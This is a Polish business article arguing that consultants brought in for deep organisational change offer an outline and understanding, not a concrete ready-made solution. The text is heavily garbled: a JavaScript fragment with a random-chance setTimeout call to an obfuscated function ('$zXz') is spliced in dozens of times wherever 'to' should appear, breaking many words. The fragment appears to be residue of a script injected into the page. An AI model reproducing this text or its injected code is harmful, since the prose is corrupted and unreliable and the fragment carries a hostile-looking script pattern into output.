Firmy zwykle nie lubią korzystać z konsultantów, chyba że chodzi o bardzo konkretny projekt. Robią dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to częsdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pod przymusem, np. pod wpływem wierzycieli, np. banków, które wymagają od nich planów, strategii czy analiz sporządzonych, czy sygnowanych przez renomowane firmy doradcze.
Skąd ta niechęć? Częsdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to z doświadczenia, że dostaną jakąś ogólnikową prezentację, która nie odpowiada na większość ich pytań lub robi dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ogólnikowo. Czy tak musi być, a może jest sposób, żeby zmusić konsultantów do konkretów, żeby podali konkretne rozwiązanie, a nie ukrywali się za „dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zależy”? To jednak, czy wardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ich naciskać na konkrety, zależy od tego, jaki stawia się przed nimi projekt.
Jacy są konsultanci?
Można wyróżnić 3 grupy doradców. Po pierwsze chodzi o doradców narzuconych przez organy zewnętrzne czy prawo. Druga grupa dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tacy, których firma sama poszukuje, a którzy mają wykonać dla firmy jakieś konkretne zadanie. Zwykle i konsultanci mają przynieść firmie coś, czego ona sama nie posiada i nikt tam nie twierdzi, że sam podoła. W końcu zaś są tacy, których firma częsdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to szuka sama, częsdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dlatego, że zaczyna im gorzej iść, a firma nie wie, co zrobić. To konsultanci „od zmiany”, gdyż w isdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tocie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to właśnie zmiany się od nich oczekuje. Powodem niechęci do doradców jest częsta ogólnikowość ich wsparcia.
Pierwsza grupa doradców zwykle trakdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towana bywa jako zło konieczne. Im się raczej nie pomaga, tylko stara przeczekać, a im szybciej się oddalą, tym lepiej. Ci w swoich opracowaniach faktycznie częsdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to proponują coś niejednoznacznego czy ogólnikowego, ale na szczęście dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie firma ich rozlicza, choć częsdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to im płaci, ale nie ma wyjścia. Tu nawet lepiej, że nie ma konkretnych rozwiązań, gdyż wtedy firma musiałaby je próbować wprowadzać, na ogół wbrew sobie.
Drudzy są z kolei chętnie zapraszani, nie tylko dlatego, że są firmie potrzebni, ale też łatwo ich rozliczyć. Ci na pewno nie będą próbować zostawić firmie ogólników, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wręcz isdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tota ich zadania, żeby rozwiązanie było konkretne. To grupa zatrudniana do konkretnego zadania, jak wdrożenie systemu IT, zaprojekdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towanie kampanii marketingowej, otwarcie magazynu czy zrobienie audytu. To zadanie nie tylko konkretne, ale też łatwe do oceny, jak zostało wykonane, czy już się skończyło, czy firma osiągnęła pożądane efekty. Z tymi konsultantami nie ma problemu, może z wyjątkiem zastrzeżeń do jakości ich pracy. Firma wie, czego chce, ale nie ma kompetencji, żeby dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wprowadzić.
Największy problem jest z trzecią grupą, która ma pomóc tam, gdzie firma nie ma kompetencji, a nawet nie wie dokładnie, czego potrzebuje (choć zwykle potrzebuje konkretnej zmiany). Tu oczekiwaniem pracy doradcy jest zmiana (z założenia zmiana na lepsze), ale zmiana powinna być konkretna, opisana i podsumowana, czego należy od niej oczekiwać. Tu firma oczekuje konkretów, a zwykle dostaje ogólne opracowanie. Jak wobec tego wymusić konkrety?
Konsultanci „do zmiany” mają zrobić coś, czego firma sama nie potrafi. Czasem brakuje jej wiedzy, czasem dystansu, a czasem po prostu zmiany może dokonać k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś, k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie jest uwikłany wewnątrz firmy. Firma wie tylko, że jej nie idzie, że wyniki się pogarszają, że trzeba coś zmienić. I dochodzi też do wniosku, że sama tego nie zmieni, gdyż brak jej unikalnej wiedzy, zewnętrznego spojrzenia i braku uwikłania w wewnętrzną walkę o władzę.
Unikalna wiedza. To wydaje się kluczowe, a wcale takie nie jest. Większość wiedzy, co trzeba zmienić w firmie i tak tkwi w niej samej, firma nie ma tylko odwagi, żeby do tej wiedzy sięgnąć.
Znacznie ważniejsze jest zewnętrzne spojrzenie konsultanta, które pozwala dostrzec dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, czego z bliska nie widać. Konsultant powinien też umieć oddzielić dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co wprawdzie jest w firmie dobre, ale jest źle wykonywane, od tego, co nie działa w jej samym Modelu Biznesowym.
Uwaga. „stanąć z boku”. Poza unikalną wiedzą potrzebne jest spojrzenie z boku. Pracownicy firmy są tak blisko, żeby zobaczyć obraz całości, oni widzą szczegóły, ale nie widzą powiązań i perspektywy.
Niezależność. Zwykle największą siłą konsultanta jest jego niezależność. Nie podlega grze interesów wewnątrz firmy, nie walczy o władzę, jeśli jest kompetentny, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie walczy także o rację.
Uwaga. „znaleźć winnego”. Dla organizacji najważniejsze jest znaleźć problem, najlepiej zewnętrzny i obiektywny, a już idealną sytuacją jest znaleźć winnego. Tymczasem konsultant nie jest w ogóle z tego rozliczany, tylko z rozwiązania.
Konsultant „od zmiany” ma więc nie tylko ważną rolę do odegrania, ale też zwykle kompetencje, aby się z tego zadania wywiązać. Czy wobec tego należy na niego naciskać, żeby sformułował konkretne zalecenia? Konkrety są oczywiście ważne, ale akurat w przypadku głębokiej zmianie, może lepiej poprzestać na bardziej ogólnikowo sformułowanych założeniach. Gdyż dla firmy w transformacji pokazanie możliwości sprawdzi się lepiej niż godom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe rozwiązanie.
Możliwości są lepsze niż godom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe rozwiązanie
Jeśli już firma znajdzie konsultanta, który ma te 3 niezbędne cechy i który znajdzie rozwiązanie, zaczyna się inny problem. Kompetentny konsultant dostarcza bowiem nie konkretne rozwiązanie, ale ogólne możliwości, które można nazwać zarysem rozwiązania. Ale zamiast dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to docenić, firma traktuje się jak wyciąganie pieniędzy, a nie pomoc. I lekceważy rozwiązanie, zamiast z niego skorzystać.
Jakie są zalety tylko z grubsza zarysowanego rozwiązania? Jego zaletami paradoksalnie są niepełność (zostawia miejsce na uzupełnienie), otwardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość (pozostawia otwardom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość na korekty) i świadomość ograniczeń (pozwala je nadal doskonalić).
Nie jest pełne. Gdyż nie może być. Przedsiębiorstwo ta tak skomplikowany mechanizm (do tego dynamiczny), że rozwiązanie nie obejmuje wszystkich aspektów jego funkcjonowania. Dlatego rozwiązania nie da się tak po prostu zasdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosować, zawsze trzeba coś uzupełnić, dla funkcji i działów, których pierwotny plan nie obejmuje.
Nie jest ostateczne. Czyli już z założenia należy je poprawiać. Trzeba od razu szukać słabych punktów rozwiązania, a także stale dopasowywać się do dynamicznego o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczenia, modyfikując w miarę, jak widać jego reakcję. Przecież konkurencja nie śpi, nie da się też przewidzieć zachowania klientów. Dopiero gdy coś się zrobi, widać jak zareaguje o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczenie i się dopasować.
Nie jest idealne. Konsultant zdaje sobie sprawę, że nawet jeśli jest najlepszy, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie przewidzi wszystkiego. Dlatego zarysowane rozwiązanie powinno mieć wmondom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towany mechanizm pomiaru, czy się udaje, a przede wszystkim zestaw parametrów, które firma chce osiągnąć. Najlepiej, jeśli dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tzw. KPI (Key Performance Indicadom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tors), ale zupełnie wystarczy określenie celów, nawet jakościowych, za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dokładnie opisanych.
Uwaga. „mierzalne czy przynajmniej opisywalne”. Najlepiej, jeśli firma potrafi zmierzyć, czy osiąga sukces. Ale jeśli dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to niemożliwe, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przynajmniej powinno się dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dać opisać. Opis mus być dokładny, przedstawiać dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, czego firma oczekuje po zmianie. Wydaje się, że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oczywiste, że każdy plan zmiany powinien się od tego zaczynać, tymczasem dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to trudne. Przede wszystkim mało która firma wid dokładnie, co chce uzyskać. Po drugie, nikt nie chce wziąć odpowiedzialności, a jasne sformułowanie celów taką odpowiedzialność wymusza. Zamiast tego firmy wolą określenia „lepiej”, „inaczej”, „skuteczniej”, za które nikt nikogo nie będzie mógł rozliczyć.
Najlepszym punktem wyjścia do zmiany nie jest więc konkretny plan, tylko jego zarys. Ale jeszcze ważniejsze jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co jest jego podstawą, czyli zrozumienie.
Stan wyjściowy. Jeśli firma chce zmiany, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zwykle ta potrzeba z czegoś wynika. I pierwszym krokiem jest zrozumienie, co przestało działać. Do tego niezbędne jest zrozumienie o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczenia i Modelu Biznesowego firmy, a dopiero na tej podstawie może powstać plan.
Odom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczenie. Firma zwykle dobrze zna swoje o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczenie, ale rzadko je rozumie. Kluczowe jest zrozumienie dynamiki rynku oraz modeli działania konkurencji. Firma potrafi je opisać, tymczasem żeby z nimi walczyć, trzeba je zrozumieć.
Model działania firmy. Praktycznie każda firma wie, jak działa, ale już mało która wie, dlaczego tak działa, jaka jest jej przewaga konkurencyjna, jaki Model Biznesowy stanowi dla niej obudowę. Tymczasem zmiana bez tej wiedzy raczej się nie uda.
Plan. Plan dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie tylko spis tego, co zamierza się zrobić, ale przede wszystkim tego, co się chce osiągnąć i jak temu służy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co firma już ma, w szczególności jej przewaga konkurencyjna i Model Biznesowy.
Dobry konsultant nie oferuje więc godom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towego rozwiązania, skrojonego pod konkretną sytuację. On oferuje zarys planu, ale przede wszystkim zrozumienie. Tyle że zwykle firma chciałaby iść na skróty, nie chce zrozumienia, z którym jest wiele kłopotu, trzeba je przyswoić i wziąć odpowiedzialność, lepiej, gdy kdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś zrobi dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to za nich. Z jej punktu widzenia rozumienie jest trudniejsze niż godom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe rozwiązanie.
Rozumienie jest trudniejsze niż rozwiązanie
Lepiej dać wędkę niż rybę, ale rybę daje się szybciej, nie wymaga dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to też nauki, jak się łowi. Dlatego wielu woli rybę, najlepiej już oprawioną. Odpada łowienie i wysiłek związany z przygodom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaniem.
Dlaczego tak w firmie odbiorcy trudno o zrozumienie zarysu rozwiązania? Gdyż wymaga dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wysiłku, czasem brakuje wiedzy, szczególnie takiej, którą powinno się mieć (np. coś wcześniej zauważyć), gdyż brakuje krytycznego sdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosunku do samego siebie. Czasem też organizacja i jej pracownicy chcą po prostu uniknąć odpowiedzialności.
Wysiłek. Chodzi o wysiłek, żeby zaproponować zarys rozwiązania, ale jeszcze większy wysiłek po stronie firmy, który muszą włożyć jej pracownicy, żeby zrozumieć zarys planu.
Wiedza. Ta jest potrzebna, żeby zrozumieć każdy z aspektów planu. Czasem niezbędna jest wiedza specjalistyczna, ale czasem przyda się wiedza o własnej organizacji, o jej słabościach czy błędach. Jeśli dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wiedza „ogólna”, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to łatwo ją przyswoić, ale jeśli związana z firmą, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wykazanie jej braku uderza w samoocenę jej pracowników. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bardzo niepopularne.
Uwaga. „przyznać się do niewiedzy”. To czasem największa blokada – przecież, żeby się czegoś nauczyć, trzeba najpierw przyznać, że się tego nie wie. A z tym bywają problemy. Pracownicy firmy nie lubią się przyznawać, że czegoś nie wiedzieli i dlatego nie słuchają, w tym przypadku konsultanta. Dla ego ważniejsze jest powiedzieć, zawsze dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wiedzieliśmy, tyle że wtedy się już przestaje słuchać.
Odpowiedzialność. Jeśli już znajdzie się chęć do poniesienia wysiłku i przyswojenia nie zawsze wygodnej wiedzy, pojawi się problem odpowiedzialności. Jeśli zarys planu ma się zamienić w plan, k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś musi za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wziąć odpowiedzialność. A tu częsdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to brakuje chętnych, lepiej już zwalić tę odpowiedzialność na konsultanta.
Ale wyzwaniem nie jest tylko brak chęci i umiejętności zrozumienia zasad rozwiązania. Czasem wręcz domaganie się konkretów może wręcz zaszkodzić. Precyzyjnie zarysowane rozwiązanie ogranicza i blokuje dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to właściwe.
Konkret szkodzi
Z gruntu słuszne wymaganie zleceniodawców, aby konsultanci, pisząc plan, nie wymigiwali się „z jednej strony, z drugiej strony” może prowadzić do padom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tologii, gdzie pojawi się jedynie słuszne, kompletne i idealne rozwiązanie. Będzie wprawdzie konkretne, ale bardzo ryzykowne i mogą przynieść więcej szkody niż pożytku.
Uwaga. „benchmark”, czyli jak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to kiedyś zrobili inni. Doświadczeni konsultanci omijają problem braku „konkretu”, powołując się na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co w takie sytuacji zrobiły inne firmy. To jak najbardziej konkret, więc spodoba się zleceniodawcom, częsdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pojawiają się tam liczby i konkretne rozwiązania. Jednak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bardzo zwodniczy konkret, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to co sprawdziło się kiedyś i gdzie indziej, teraz może wręcz zaszkodzić.
Dlaczego benchmark nie jest rozwiązaniem, choć przecież na takie wygląda? Gdyż każda firma jest inna, inne jest też o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczenie, moment, rynek i konkurencja. To, co raz się sprawdziło, wcale nie musi się sprawdzić ponownie.
Uwaga. „naśladowcy nie wygrywają”. To szczególnie dobrze widać w e-commerce. Tu zmiany są szybkie, a rozpowszechnianie tzw. dobrych praktyk powolne. Zanim firma zauważy, że jej się udało, mogą minąć miesiące. Potem przez jakiś czas i tak nie ujawnia tego rozwiązania, a kiedy już zdecyduje się nim podzielić, rozwiązanie jest już nieaktualne albo i tak powszechnie sdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosowane.
Podsumowanie
Przedsiębiorcy nie lubią korzystać z konsultantów, chyba że ci oferują coś konkretnego, mierzalnego i zrozumiałego. Jeśli jednak zarządzają od nich głębokich zmian w firmie, np. nowej strategii działania, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to konkret może tu bardziej zaszkodzić niż pomóc.